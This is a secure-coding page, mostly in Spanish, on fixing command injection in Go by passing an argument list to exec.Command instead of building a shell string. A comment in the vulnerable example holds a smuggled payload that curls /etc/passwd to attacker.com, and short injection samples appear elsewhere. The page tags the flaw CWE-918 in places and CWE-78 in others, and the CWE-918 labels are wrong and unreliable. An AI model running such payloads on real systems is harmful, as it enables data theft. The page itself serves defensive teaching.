flawopen.com/command-injection/Go

● CWE-918 · Crítica
Investigación · FlawOpen

Command Injection in Go

Learn how to fix Command Injection (CWE-78) in Go. Side-by-side vulnerable vs secure code examples for os/exec.Command() with argument lists.

💡 Explicación en Lenguaje Sencillo (ELI5)

Imagina pedirle a un asistente de oficina que imprima un documento llamado 'informe.pdf'. La inyección de comandos ocurre cuando alguien entrega el nombre 'informe.pdf; whoami', y el asistente entrega toda la nota al empleado del terminal, imprimiendo el informe y leyendo la credencial del administrador.

Conceptos Clave y Términos

Web Application Security
Componente de arquitectura central afectado por CWE-918.
CWE-918
Clasificación estándar Common Weakness Enumeration (CWE) para command-injection-go.
Defense-in-Depth
Verificación de ingeniería multicapa y aislamiento de límites en tiempo de ejecución.

Flujo de Ataque Paso a Paso

Step 1

Ingestión de Parámetros No Confiables

La aplicación acepta nombres de host de diagnóstico, nombres de archivo o parámetros directamente desde una solicitud HTTP.

Step 2

Interpolación de Shell Sin Sanitizar

El backend construye la cadena de comando shell concatenando texto directamente en lugar de usar un vector de argumentos seguro.

Step 3

Inyección de Separadores de Comandos

El atacante inyecta metacaracteres de shell como ';', '&&', '|' o comillas invertidas (ej. '127.0.0.1; id') para escapar del comando esperado.

Step 4

Ejecución en Subshell y Control del Host

El shell del sistema operativo ejecuta la instrucción inyectada con todos los permisos del proceso del servidor web.

Código Fuente: Vulnerable vs. Seguro

✕ IMPLEMENTACIÓN VULNERABLE
// Spawning bash explicitly to execute concatenated string
package main

import (
    "os/exec"
)

func runBackup(target string) ([]byte, error) {
    // Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
    cmdStr := "tar -czf backup.tar.gz " + target
    cmd := exec.Command("sh", "-c", cmdStr)
    return cmd.Output()
}
✓ PARCHE SEGURO Y ROBUSTO
// Calling tar directly without an intermediate shell
package main

import (
    "os/exec"
)

func runBackup(target string) ([]byte, error) {
    // target is passed strictly as a single filename argument
    cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
    return cmd.Output()
}

Lista de Verificación de Seguridad para Ingeniería

References